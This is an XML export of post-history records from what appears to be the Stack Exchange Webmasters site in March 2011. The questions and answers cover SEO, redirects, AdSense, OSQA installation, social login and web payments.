  <row Id="24038" PostHistoryTypeId="2" PostId="10715" RevisionGUID="6935ab66-625f-4d90-b955-c82bbed5bc0b" CreationDate="2011-03-15T18:51:43.260" UserId="4560" Text="There is a need in my workplace to setup a knowledge sharing site, a place where users &#xD;&#xA;&#xD;&#xA; - can discuss projects they are working&#xD;&#xA; - share documentation&#xD;&#xA; - ask questions&#xD;&#xA;&#xD;&#xA;I am looking for a open-source system that answers these needs, and that can be setup in a week, and requires only PHP and MySQL.&#xD;&#xA;&#xD;&#xA;I am a Wordpress fan and developer and could easily implement such a system in Wordpress, however this system needs to be very simple to use for the technically challenged. Without customization, Wordpress users would still need to login to the &quot;back-end&quot; to post. I like the Stackexchange (OSQA) format, but these do not allow for file uploading out of the box.&#xD;&#xA;&#xD;&#xA;I do not have experience with Buddy Press, would this be an alternative?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24039" PostHistoryTypeId="1" PostId="10715" RevisionGUID="6935ab66-625f-4d90-b955-c82bbed5bc0b" CreationDate="2011-03-15T18:51:43.260" UserId="4560" Text="Looking for open-source solutions for a knowledge sharing website" />
  <row Id="24040" PostHistoryTypeId="3" PostId="10715" RevisionGUID="6935ab66-625f-4d90-b955-c82bbed5bc0b" CreationDate="2011-03-15T18:51:43.260" UserId="4560" Text="&lt;social-networking&gt;" />
  <row Id="24041" PostHistoryTypeId="2" PostId="10716" RevisionGUID="7cd4f0e8-178a-4f38-a4ff-41c40539c612" CreationDate="2011-03-15T18:58:27.477" UserId="6105" Text="I have a few websites on various niche topics, all running Adsense. The most promising one currently has a CPC that hovers around $1; the rest have CPCs of $0.25-$0.50.&#xD;&#xA;&#xD;&#xA;I'm curious to know **what on-site factors affect CPC.** That is to say, what I can do, legally (in white-hat compliance) to increase my CPC?&#xD;&#xA;&#xD;&#xA;Some factors that affect CPC but are *not* within my control (and therefore, beyond the scope of my question -- they're just examples) include:&#xD;&#xA;&#xD;&#xA;- What advertisers are paying for keywords on my site&#xD;&#xA;- What pages people are landing on&#xD;&#xA;- etc." />
  <row Id="24042" PostHistoryTypeId="1" PostId="10716" RevisionGUID="7cd4f0e8-178a-4f38-a4ff-41c40539c612" CreationDate="2011-03-15T18:58:27.477" UserId="6105" Text="On-Site Factors that Affect CPC" />
  <row Id="24043" PostHistoryTypeId="3" PostId="10716" RevisionGUID="7cd4f0e8-178a-4f38-a4ff-41c40539c612" CreationDate="2011-03-15T18:58:27.477" UserId="6105" Text="&lt;google-adsense&gt;" />
  <row Id="24044" PostHistoryTypeId="2" PostId="10717" RevisionGUID="23a96e7a-63dc-4692-a11f-16a73261fe5e" CreationDate="2011-03-15T18:50:38.930" UserDisplayName="Gavin Morrice" Text="Url's add SEO weight to any site.&#xD;&#xA;&#xD;&#xA;If I have a site that (for example) sells chickens and the url is http://cluckorama.com&#xD;&#xA;&#xD;&#xA;and I own www.chickensforsale.com&#xD;&#xA;&#xD;&#xA;Will search engines list chickens for sale if I set a permanent redirect to cluckorama.com?&#xD;&#xA;&#xD;&#xA;(provided the content of cluckorama.com is relevant to chickens for sale)" />
  <row Id="24045" PostHistoryTypeId="1" PostId="10717" RevisionGUID="23a96e7a-63dc-4692-a11f-16a73261fe5e" CreationDate="2011-03-15T18:50:38.930" UserDisplayName="Gavin Morrice" Text="Do I get SEO rankings for redirects?" />
  <row Id="24046" PostHistoryTypeId="3" PostId="10717" RevisionGUID="23a96e7a-63dc-4692-a11f-16a73261fe5e" CreationDate="2011-03-15T18:50:38.930" UserDisplayName="Gavin Morrice" Text="&lt;redirects&gt;&lt;seo&gt;" />
  <row Id="24047" PostHistoryTypeId="17" PostId="10717" RevisionGUID="5d768c18-3524-4bc0-a356-8a5fbee1be4d" CreationDate="2011-03-15T19:07:00.073" UserId="-1" Comment="from http://stackoverflow.com/questions/5316517/do-i-get-seo-rankings-for-redirects" Text="" />
  <row Id="24048" PostHistoryTypeId="5" PostId="10717" RevisionGUID="73a9b0e8-1159-42fd-b913-2eb181b6b6a1" CreationDate="2011-03-15T19:13:32.730" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Could I buy a domain name to increase traffic to my site like this?](http://webmasters.stackexchange.com/questions/3777/could-i-buy-a-domain-name-to-increase-traffic-to-my-site-like-this)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Url's add SEO weight to any site.&#xD;&#xA;&#xD;&#xA;If I have a site that (for example) sells chickens and the url is http://cluckorama.com&#xD;&#xA;&#xD;&#xA;and I own www.chickensforsale.com&#xD;&#xA;&#xD;&#xA;Will search engines list chickens for sale if I set a permanent redirect to cluckorama.com?&#xD;&#xA;&#xD;&#xA;(provided the content of cluckorama.com is relevant to chickens for sale)" />
  <row Id="24049" PostHistoryTypeId="10" PostId="10717" RevisionGUID="ee9d36dd-a723-4731-858d-5a1ed7a168dc" CreationDate="2011-03-15T19:13:32.620" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="24050" PostHistoryTypeId="25" PostId="10712" RevisionGUID="59a9dad0-11ae-4054-bf83-d32a978ca7c2" CreationDate="2011-03-15T20:30:19.510" Comment="http://twitter.com/#!/StackWebmasters/status/47756533181853696" />
  <row Id="24051" PostHistoryTypeId="2" PostId="10718" RevisionGUID="3a152b19-2e5c-494e-95e1-cd675046c4f2" CreationDate="2011-03-15T20:37:23.483" UserId="4387" Text="Sounds like your domain is in the [sandbox][1], if so, you just have to wait until it gets accepted to the index.&#xD;&#xA;&#xD;&#xA;I also recommend not using your subdomain, just use a subdirectory. This way your pages will be accepted and crawled directly and all these pages will increase your PR much more than a subdomain ever will. Subdomains are no longer a good SEO practice. &#xD;&#xA;&#xD;&#xA;See also:&#xD;&#xA;http://webmasters.stackexchange.com/questions/3496/do-subdomains-help-hurt-seo&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sandbox_effect&#xD;&#xA;" />
  <row Id="24052" PostHistoryTypeId="2" PostId="10719" RevisionGUID="c63a28fa-46c4-4681-9b53-baeaffdc4e90" CreationDate="2011-03-15T20:50:13.703" UserId="709" Text="[Mediawiki][1] (as used on [Wikipedia][2]) is open source, sets up in a few hours and requires only PHP and mySQL.  It is very easy for the technically challenged to use, although experienced people can make it do amazing things.  It includes file upload and revision features.&#xD;&#xA;&#xD;&#xA;Two cautions from my experience:&#xD;&#xA;&#xD;&#xA; - The Admin person needs to establish the site structure and maintain it&#xD;&#xA; - Only 10% of the audience will use it and less than 1% will contribute &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mediawiki.org/wiki/MediaWiki&#xD;&#xA;  [2]: http://www.wikipedia.org/" />
  <row Id="24053" PostHistoryTypeId="2" PostId="10720" RevisionGUID="d756f2fe-df44-473a-87e3-08168980657a" CreationDate="2011-03-15T21:10:00.493" UserId="5840" Text="We have developed a 3rd party service to do precisely this:&#xD;&#xA;[EmbeddedAnalytics][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.embeddedanalytics.com" />
  <row Id="24054" PostHistoryTypeId="2" PostId="10721" RevisionGUID="616178bb-db7d-4859-b038-c344f3287577" CreationDate="2011-03-15T21:39:58.263" UserId="1131" Text="If I follow what you're trying to do, I think this would work.&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule .* - [L,G]&#xD;&#xA;&#xD;&#xA;If the resource doesn't exist (is not either a file or a directory) send the 410.&#xD;&#xA; " />
  <row Id="24055" PostHistoryTypeId="2" PostId="10722" RevisionGUID="5e0df8aa-2de5-4126-b42f-7b9a8ceb45d8" CreationDate="2011-03-15T21:42:20.627" UserId="6111" Text="i think you're looking for collaboration package rather than knowledge,&#xD;&#xA;i'd say do a quick google search for &quot;opensource collaboration&quot;...&#xD;&#xA;-- off hand there is http://twiki.org/ (probably your best bet)&#xD;&#xA;you can have a look @ http://en.wikipedia.org/wiki/List_of_collaborative_software&#xD;&#xA;that will give you some clues...." />
  <row Id="24056" PostHistoryTypeId="2" PostId="10723" RevisionGUID="0da4140a-eecc-4985-9277-f3f510baa4b2" CreationDate="2011-03-15T22:36:04.457" UserId="6112" Text="The correct way to deal with caching in HTTP1.1 is with the Cache-Control header. I cannot remember the last time I included Pragma in a HTML header.&#xD;&#xA;&#xD;&#xA;[Cache Control for HTTP 1.1][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sect=14.9" />
  <row Id="24057" PostHistoryTypeId="25" PostId="10715" RevisionGUID="2aab2b36-347e-4d7e-8bb9-b7abbc72cf46" CreationDate="2011-03-15T23:30:19.837" Comment="http://twitter.com/#!/StackWebmasters/status/47801833049161729" />
  <row Id="24058" PostHistoryTypeId="2" PostId="10724" RevisionGUID="328b35e2-9af1-4fd1-857d-73a59f3eb7ff" CreationDate="2011-03-16T00:41:44.470" UserId="108" Text="Should example.com/Blog?Page=1, example.com/Blog?Page=2, etc have the same title?  &#xD;&#xA;&#xD;&#xA;I have done some research on this and SEOMoz's tools say I have duplicate titles and so does Google's Webmaster tools.&#xD;&#xA;&#xD;&#xA;If you look at top end examples like http://www.seobook.com/blog and http://www.seomoz.org/blog they both use the same title across all query of their ?Page=X URLs. &#xD;&#xA;&#xD;&#xA;So what is the better choice or does it even matter? " />
  <row Id="24059" PostHistoryTypeId="1" PostId="10724" RevisionGUID="328b35e2-9af1-4fd1-857d-73a59f3eb7ff" CreationDate="2011-03-16T00:41:44.470" UserId="108" Text="Should each page of a Blog listing have its own Title" />
  <row Id="24060" PostHistoryTypeId="3" PostId="10724" RevisionGUID="328b35e2-9af1-4fd1-857d-73a59f3eb7ff" CreationDate="2011-03-16T00:41:44.470" UserId="108" Text="&lt;seo&gt;&lt;title&gt;" />
  <row Id="24061" PostHistoryTypeId="2" PostId="10725" RevisionGUID="cb647890-228f-4c0a-a529-d05d55288037" CreationDate="2011-03-16T00:47:32.640" UserId="6114" Text="I would very much like to install OSQA on my host (provided/owned by my friend), but I can not make heads or tails of how I would go about doing it; a lot of the dependancies and such can't be installed with the current level of access (or most probably just knowledge) that I have. I can provide any further information required, and attempt to contact (friend) to see if he can do any of it for me, but I'm unsure as to how often I will be able to contact him.&#xD;&#xA;&#xD;&#xA;`exec` and `shell_exec` are not disabled on the server.  &#xD;&#xA;If there are any other alternatives that I could use, please let me know! I tried Qwench but that was pretty buggy.&#xD;&#xA;&#xD;&#xA;I can usually deal with these kind of things, but this is my first foray into Python stuff!" />
  <row Id="24062" PostHistoryTypeId="1" PostId="10725" RevisionGUID="cb647890-228f-4c0a-a529-d05d55288037" CreationDate="2011-03-16T00:47:32.640" UserId="6114" Text="How do I install OSQA with limited access to the server?" />
  <row Id="24063" PostHistoryTypeId="3" PostId="10725" RevisionGUID="cb647890-228f-4c0a-a529-d05d55288037" CreationDate="2011-03-16T00:47:32.640" UserId="6114" Text="&lt;django&gt;&lt;python&gt;" />
  <row Id="24064" PostHistoryTypeId="25" PostId="10724" RevisionGUID="556072f3-26af-4c23-bcf7-fd14afd37191" CreationDate="2011-03-16T02:30:19.993" Comment="http://twitter.com/#!/StackWebmasters/status/47847132413177856" />
  <row Id="24068" PostHistoryTypeId="2" PostId="10727" RevisionGUID="8d4b3e21-d705-42c3-987d-84113bc286c4" CreationDate="2011-03-16T03:04:38.733" UserId="4461" Text="**Golden Rule #1:** Every unique URL should have a unique page Title&#xD;&#xA;&#xD;&#xA;**Supporting Rule #1**: Posts or Articles that are paginated (for whatever reason) are unique pages in their own right, in that the content that appears when accessing that URL is different from the other pages.&#xD;&#xA;&#xD;&#xA;**Hypothesis:** Having different paginated pages of an article/page with a shared title means you are giving search engines fuzzy signals as to what content is on what page.&#xD;&#xA;&#xD;&#xA;**Theory:** If you confuse the search engines, you are likely to confuse your users. If it helps a user to view the title of a URL and have it indicate that it's page x of y, then that helps, correct?&#xD;&#xA;&#xD;&#xA;So if for no other reason to provide additional help/clarification for your users you should consider adding the page number (or 'page #' etc) to the title. If this helps you in the search engines as well, then bonus." />
  <row Id="24069" PostHistoryTypeId="2" PostId="10728" RevisionGUID="669f7cd8-e83f-4c66-91d8-e0b5a28a0962" CreationDate="2011-03-16T03:31:42.420" UserId="6116" Text="Make those low resolution images, made of MSPaint or something! Sidebars with low-res gradients would work too! Annoying bright colors, as well as tons of flashing gifs with very slow development and looped advertisements are definitely shouting &quot;internet @ 90's&quot;. Wow, I suddenly felt nostalgic about the old days after looking at Pierre's link. I wonder how it would turn out if one of today's most popular social networking sites were developed during the 90's. Imagine FB, looking like a site from geocities LOL.&#xD;&#xA;" />
  <row Id="24070" PostHistoryTypeId="5" PostId="10444" RevisionGUID="be0d98ed-8c37-4922-a833-e7187d2d98dc" CreationDate="2011-03-16T04:08:42.090" UserId="4461" Comment="Translate 2nd-language English into actual English" Text="I want know what does Google use to determine what country a site belongs to?&#xD;&#xA;&#xD;&#xA;Is this also used on Alexa.com?&#xD;&#xA;&#xD;&#xA;I don't think that it's from server ip! and not from whois? I think it's by traffic stats, they use it to determine what country which has the biggest visitors to this site .. but how does Google do this? Does it use alexa.com?" />
  <row Id="24071" PostHistoryTypeId="4" PostId="10444" RevisionGUID="be0d98ed-8c37-4922-a833-e7187d2d98dc" CreationDate="2011-03-16T04:08:42.090" UserId="4461" Comment="Translate 2nd-language English into actual English" Text="How does Google classify what country a website belongs to?" />
  <row Id="24072" PostHistoryTypeId="24" PostId="10444" RevisionGUID="be0d98ed-8c37-4922-a833-e7187d2d98dc" CreationDate="2011-03-16T04:08:42.090" Comment="Proposed by 4461 approved by -1 edit id of 68" />
  <row Id="24073" PostHistoryTypeId="5" PostId="10444" RevisionGUID="f6498cb1-aa35-46fe-923a-78d4eea4f8d1" CreationDate="2011-03-16T04:08:42.293" UserId="1064" Comment="Clarified question, rewrite on prior suggested edit" Text="How does Google determine which country a website belongs to?&#xD;&#xA;&#xD;&#xA;Is this technique also used by Alexa.com?&#xD;&#xA;&#xD;&#xA;I don't think that the website's location is determined by its host's IP address or by its WHOIS information.&#xD;&#xA;&#xD;&#xA;I think the site's location is determined by by traffic statistics (the country with the most visitors to the site determines the site's location)." />
  <row Id="24074" PostHistoryTypeId="4" PostId="10444" RevisionGUID="f6498cb1-aa35-46fe-923a-78d4eea4f8d1" CreationDate="2011-03-16T04:08:42.293" UserId="1064" Comment="Clarified question, rewrite on prior suggested edit" Text="How does Google classify which country a website belongs to?" />
  <row Id="24075" PostHistoryTypeId="6" PostId="10444" RevisionGUID="f6498cb1-aa35-46fe-923a-78d4eea4f8d1" CreationDate="2011-03-16T04:08:42.293" UserId="1064" Comment="Clarified question, rewrite on prior suggested edit" Text="&lt;google&gt;&lt;traffic&gt;&lt;search-engines&gt;&lt;alexa&gt;&lt;country-specific&gt;" />
  <row Id="24076" PostHistoryTypeId="2" PostId="10729" RevisionGUID="1d204347-1012-4fbd-a167-5979f849f16a" CreationDate="2011-03-15T14:07:33.103" UserDisplayName="Alex" Text="I decided to migrate to blogger.&#xD;&#xA;&#xD;&#xA;I used to have pages like www.mysite.com/page.html, but Blogger pages are now like www.mysite.com/p/page.html&#xD;&#xA;&#xD;&#xA;When people use the old link which is posted on the forums, they get a 404 error. How can I prevent that?&#xD;&#xA;&#xD;&#xA;There's no way to customize URLs in Blogger." />
  <row Id="24077" PostHistoryTypeId="1" PostId="10729" RevisionGUID="1d204347-1012-4fbd-a167-5979f849f16a" CreationDate="2011-03-15T14:07:33.103" UserDisplayName="Alex" Text="How to migrate my static html web site to Blogger?" />
  <row Id="24078" PostHistoryTypeId="3" PostId="10729" RevisionGUID="1d204347-1012-4fbd-a167-5979f849f16a" CreationDate="2011-03-15T14:07:33.103" UserDisplayName="Alex" Text="&lt;blogger&gt;&lt;url&gt;&lt;migration&gt;" />
  <row Id="24079" PostHistoryTypeId="17" PostId="10729" RevisionGUID="332bb041-f233-481d-a8c8-bea76f8236ff" CreationDate="2011-03-16T04:09:33.987" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/13522/how-to-migrate-my-static-html-web-site-to-blogger" Text="" />
  <row Id="24083" PostHistoryTypeId="2" PostId="10730" RevisionGUID="273126c4-904b-4623-aa0a-1d297db86a73" CreationDate="2011-03-13T09:45:28.300" UserDisplayName="andrei" Text="I want to completely remove the registration page from my web app (for obvious simplification and uniformity) and only use &quot;connect with Facebook&quot; and &quot;connect with Twitter&quot; the website is a technical one regarding the web and such so the public is somewhere above average (I presume), would this be a &quot;safe&quot; decision ?" />
  <row Id="24084" PostHistoryTypeId="1" PostId="10730" RevisionGUID="273126c4-904b-4623-aa0a-1d297db86a73" CreationDate="2011-03-13T09:45:28.300" UserDisplayName="andrei" Text="Renouncing the registration system" />
  <row Id="24085" PostHistoryTypeId="3" PostId="10730" RevisionGUID="273126c4-904b-4623-aa0a-1d297db86a73" CreationDate="2011-03-13T09:45:28.300" UserDisplayName="andrei" Text="&lt;facebook&gt;&lt;twitter&gt;&lt;connections&gt;&lt;registration&gt;" />
  <row Id="24086" PostHistoryTypeId="17" PostId="10730" RevisionGUID="aac6ba20-54ef-4ed8-934d-efec27d79f78" CreationDate="2011-03-16T05:08:47.693" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/13454/renouncing-the-registration-system" Text="" />
  <row Id="24092" PostHistoryTypeId="2" PostId="10732" RevisionGUID="5b070eda-214e-43f3-b773-7f9a5d0e444b" CreationDate="2011-03-16T06:17:59.157" UserId="6119" Text="I want to know after Google recent updates, will it be good opt to use same keywords for multiple pages? Say- my keyword is &quot;driver update&quot; and I have a folder &quot;HP&quot; in website. Hp has lots of models like HP Elitebook, HP Envy, HP Mini, HP Pavilion and much more. HP Elitebook has many versions like HP Elitebook 2530p, HP Elitebook 2730p, HP Elitebook 8530w.&#xD;&#xA;&#xD;&#xA;Now should I create pages like &quot;Driver update in HP Elitebook 2530p&quot; , &quot;Driver update in HP Elitebook 2730p&quot;, &quot;Driver update in P Elitebook 8530w&quot; or a single page &quot;Driver update in HP Elitebook&quot;? &#xD;&#xA;&#xD;&#xA;Which one will be the best option for better SE ranking- &quot; single page or multiple pages using same keyword for different model versions&quot; ?" />
  <row Id="24093" PostHistoryTypeId="1" PostId="10732" RevisionGUID="5b070eda-214e-43f3-b773-7f9a5d0e444b" CreationDate="2011-03-16T06:17:59.157" UserId="6119" Text="Is it good to use same keyword for multiple pages in one domain?" />
  <row Id="24094" PostHistoryTypeId="3" PostId="10732" RevisionGUID="5b070eda-214e-43f3-b773-7f9a5d0e444b" CreationDate="2011-03-16T06:17:59.157" UserId="6119" Text="&lt;google-search&gt;" />
  <row Id="24095" PostHistoryTypeId="2" PostId="10733" RevisionGUID="4c62b65f-60e7-479b-b7a4-273d41a9debc" CreationDate="2011-03-16T07:36:24.330" UserId="5718" Text="Although you can't control what Advertisers are paying for ads on your site, you could try to optimize your site for target keywords that have higher CPC's. You can gain that information by using the AdWords Keyword Tool to find keywords with higher CPC's relating to your site topics then run some content network ads on AdWords to see how much you actually get charged.&#xD;&#xA;&#xD;&#xA;Once you know the keywords you want to target you could try using normal onsite SEO optimization then gauge the effectiveness of what you've done by seeing what type of AdSense ads are displayed and if there are any resulting CPC increases.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24096" PostHistoryTypeId="2" PostId="10734" RevisionGUID="6fda702c-00f1-41b1-b49b-fe7a162007e7" CreationDate="2011-03-16T08:02:43.113" UserId="6094" Text="You should redirect the pages on the old site to the new addresses. On the old site, create a file called .htaccess in the root and fill it with entries like this:&#xD;&#xA;&#xD;&#xA;    Redirect 301 /page.html http://www.newsite.com/p/page.html&#xD;&#xA;&#xD;&#xA;If the file names are the same on both sites, you can avoid typing lots of Redirect rules and do it like this:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteRule ^(.*)$ http://www.newsite.com/p/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;This will make all http://www.oldsite.com/page.html links point to http://www.newsite.com/p/page.html." />
  <row Id="24097" PostHistoryTypeId="2" PostId="10735" RevisionGUID="6acab287-4034-4f47-9a10-8d75a4d4068e" CreationDate="2011-03-16T08:08:13.937" UserId="6094" Text="From users point of view, it would make sense to have unique titles for different pages. If user bookmarks several pages on your blog and all have the same title, that's not a good user experience." />
  <row Id="24099" PostHistoryTypeId="2" PostId="10736" RevisionGUID="3c4bb700-7762-4855-9e10-c3855b4e0934" CreationDate="2011-03-16T08:53:14.170" UserId="1089" Text="Depends if you mean safe as in secure, or safe as in for the benefit of your website.&#xD;&#xA;&#xD;&#xA;In theory using twitter/facebook is more likely to be secure than rolling your own registration - this very website made the decision to [use openID][1] as supposed to rolling its own, so your in good company.&#xD;&#xA;&#xD;&#xA;The most immediate thing which springs to mind is what if people don't have twitter or facebook?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codinghorror.com/blog/2008/05/openid-does-the-world-really-need-yet-another-username-and-password.html" />
  <row Id="24100" PostHistoryTypeId="2" PostId="10737" RevisionGUID="f9e65cb9-e9b0-4192-8c1e-c79861c3877d" CreationDate="2011-03-16T08:57:05.243" UserId="6121" Text="in my experience: DON'T DO IT. i've read in Google Page structure to not to using hidden span filled with keywords in your code. like other said, this is black SEO and you might as well consider your website banned from getting index.&#xD;&#xA;&#xD;&#xA;I too have several case like this where my clients want a &quot;candy&quot; website full of graphic images. what i can advise to you is that make full use of your navigation link and SITEMAP and submit the sitemap in Google webmaster tool.&#xD;&#xA;&#xD;&#xA;oh i hope in other page you have text to increase optimization of your page :)" />
  <row Id="24101" PostHistoryTypeId="2" PostId="10738" RevisionGUID="20fa04c3-47c6-4252-a19d-586981676c7c" CreationDate="2011-03-16T08:58:14.863" UserId="6120" Text="You need `xmlns=&quot;http://www.w3.org` since `xmlns:og` and `xmlns:fb` are references to the `xmlns` - namespace. You need these because the og and fb tags are custom tags that are not part of the regular html.&#xD;&#xA;That is why the Validator doesn't like it if you omit it.&#xD;&#xA;" />
  <row Id="24102" PostHistoryTypeId="2" PostId="10739" RevisionGUID="c5e7bfeb-a949-4331-a084-dcfe482710d7" CreationDate="2011-03-16T09:40:17.773" UserId="5126" Text="I need to receive money from users from my webpage.  They will only pay very small amounts, i.e. $1 max, but the total will probably go upto $10,000.00.  What is the best way to receive this money from a webpage?  When I say &quot;the best way&quot;, i mean a method of getting the money from where I lose as little of it as possible in terms of fees for receiving the money." />
  <row Id="24103" PostHistoryTypeId="1" PostId="10739" RevisionGUID="c5e7bfeb-a949-4331-a084-dcfe482710d7" CreationDate="2011-03-16T09:40:17.773" UserId="5126" Text="Money in from website" />
  <row Id="24104" PostHistoryTypeId="3" PostId="10739" RevisionGUID="c5e7bfeb-a949-4331-a084-dcfe482710d7" CreationDate="2011-03-16T09:40:17.773" UserId="5126" Text="&lt;payments&gt;" />
  <row Id="24105" PostHistoryTypeId="17" PostId="10741" RevisionGUID="65f5805e-d426-4d67-8c4b-f17d4c3de2e2" CreationDate="2011-03-16T09:57:36.153" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/5265/can-anyone-reccommend-a-google-serp-tracker/5908#5908" Text="" />
  <row Id="24106" PostHistoryTypeId="17" PostId="10742" RevisionGUID="a22abc13-58d2-4323-83ac-f59cdaa36156" CreationDate="2011-03-16T09:57:36.153" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/5265/can-anyone-reccommend-a-google-serp-tracker/13544#13544" Text="" />
  <row Id="24107" PostHistoryTypeId="17" PostId="10743" RevisionGUID="cc6404f8-3b91-4df1-9697-7a41ba70eab9" CreationDate="2011-03-16T09:57:36.153" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/5265/can-anyone-reccommend-a-google-serp-tracker/13553#13553" Text="" />
  <row Id="24108" PostHistoryTypeId="2" PostId="10741" RevisionGUID="ca953689-4eba-4bec-8243-81ab26bee986" CreationDate="2010-08-20T08:07:38.267" UserId="1514" Text="Here's an article comparing 4 services: [SERP tracker comparison][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.searchenginejournal.com/4-serp-trackers-reviewed-how-to-monitor-your-keyword-rankings/9426/" />
  <row Id="24109" PostHistoryTypeId="2" PostId="10742" RevisionGUID="e8e8b6d7-4791-427c-ae89-7741741b905b" CreationDate="2011-03-16T03:34:18.410" UserDisplayName="John" Text="seocockpit is the best I've found so far" />
  <row Id="24110" PostHistoryTypeId="2" PostId="10743" RevisionGUID="b6a585c9-5159-4b9d-a7c4-6a247041b790" CreationDate="2011-03-16T06:54:41.517" UserDisplayName="Neddy" Text="I would definitely either recommend building it yourself, or hiring someone else to do it. Not only would you have full control of it and it would be fit to your exact requirements but in the long run you might even save money (if you would otherwise be paying for a subscription service)." />
  <row Id="24111" PostHistoryTypeId="2" PostId="10740" RevisionGUID="aa53110c-e8b3-4437-9ec9-e489a41e8735" CreationDate="2010-08-05T09:57:58.777" UserId="1320" Text="I want to track my website's position in Google's search results for around 50 keywords/phrases and am looking to a nice webapp to automate this process? Ideally i want to see pretty line graphs for my keyword/position.&#xD;&#xA;&#xD;&#xA;I'm currently trying:&#xD;&#xA;[Raven Tools][1] and&#xD;&#xA;[Sheer SEO][2] but am not particularly impressed with either...&#xD;&#xA;&#xD;&#xA;I guess my budget is upto £25-30/$30-40 for a decent bit of software&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://raventools.com&#xD;&#xA;  [2]: http://www.sheerseo.com" />
  <row Id="24112" PostHistoryTypeId="1" PostId="10740" RevisionGUID="aa53110c-e8b3-4437-9ec9-e489a41e8735" CreationDate="2010-08-05T09:57:58.777" UserId="1320" Text="can anyone reccommend a Google SERP tracker?" />
  <row Id="24113" PostHistoryTypeId="3" PostId="10740" RevisionGUID="aa53110c-e8b3-4437-9ec9-e489a41e8735" CreationDate="2010-08-05T09:57:58.777" UserId="1320" Text="&lt;google&gt;&lt;seo&gt;" />
  <row Id="24114" PostHistoryTypeId="17" PostId="10740" RevisionGUID="b9b4ccd3-552d-408d-84d7-e5723aeb31b1" CreationDate="2011-03-16T09:57:36.153" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/5265/can-anyone-reccommend-a-google-serp-tracker" Text="" />
  <row Id="24116" PostHistoryTypeId="2" PostId="10745" RevisionGUID="55de8acb-2a49-4307-b20a-b6aff57b31ce" CreationDate="2011-03-16T11:11:05.010" UserId="6120" Text="I would agree with Demaio that translated content is not duplicated content.&#xD;&#xA;For the english content under different TLDs, the easiest way would indeed be to do 301 redirects to your main site.&#xD;&#xA;Another possibility is to use the canonical-url metatag. It defines one URL you want the content to be listed under.&#xD;&#xA;E.G. these URLs:&#xD;&#xA;&#xD;&#xA; - www.content.com/page1&#xD;&#xA; - www.content.org/page1&#xD;&#xA; - www.content.net/page1&#xD;&#xA; - www.content.net/page1?param&#xD;&#xA;&#xD;&#xA;could share the canonical URL like www.content.com/page1, under which your content would be found. That also works for duplicate content under one TLD, of course.&#xD;&#xA;&#xD;&#xA;More info here: [http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="24117" PostHistoryTypeId="17" PostId="10747" RevisionGUID="a7a54256-8666-4172-a2e5-445ce3de6db6" CreationDate="2011-03-16T11:27:15.843" UserId="-1" Comment="from http://stackoverflow.com/questions/5321694/domain-registration/5321707#5321707" Text="" />
  <row Id="24118" PostHistoryTypeId="2" PostId="10747" RevisionGUID="846b5a61-6273-43be-af33-28c6cb787582" CreationDate="2011-03-16T06:15:40.750" UserDisplayName="Jhourlad Estrella" Text="Try [Hostgator][1].&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hostgator.com" />
  <row Id="24119" PostHistoryTypeId="2" PostId="10746" RevisionGUID="248e8743-964b-4ec6-acc2-7b4225b43ace" CreationDate="2011-03-16T06:13:13.610" UserDisplayName="sikas" Text="I'm about to make my first domain purchase, actually I'm going to buy in bulk ...&#xD;&#xA;&#xD;&#xA;Any idea about a good host and registrar? I`m looking for a good host with lots of features and not expensive." />
  <row Id="24120" PostHistoryTypeId="1" PostId="10746" RevisionGUID="248e8743-964b-4ec6-acc2-7b4225b43ace" CreationDate="2011-03-16T06:13:13.610" UserDisplayName="sikas" Text="Domain Registration" />
  <row Id="24121" PostHistoryTypeId="3" PostId="10746" RevisionGUID="248e8743-964b-4ec6-acc2-7b4225b43ace" CreationDate="2011-03-16T06:13:13.610" UserDisplayName="sikas" Text="&lt;domains&gt;" />
  <row Id="24122" PostHistoryTypeId="17" PostId="10746" RevisionGUID="854123de-ffed-4912-9d6f-d978cdc56435" CreationDate="2011-03-16T11:27:15.843" UserId="-1" Comment="from http://stackoverflow.com/questions/5321694/domain-registration" Text="" />
  <row Id="24123" PostHistoryTypeId="25" PostId="10739" RevisionGUID="566873fc-2abf-448a-9841-9955dc49d42b" CreationDate="2011-03-16T11:30:20.767" Comment="http://twitter.com/#!/StackWebmasters/status/47983029133656064" />
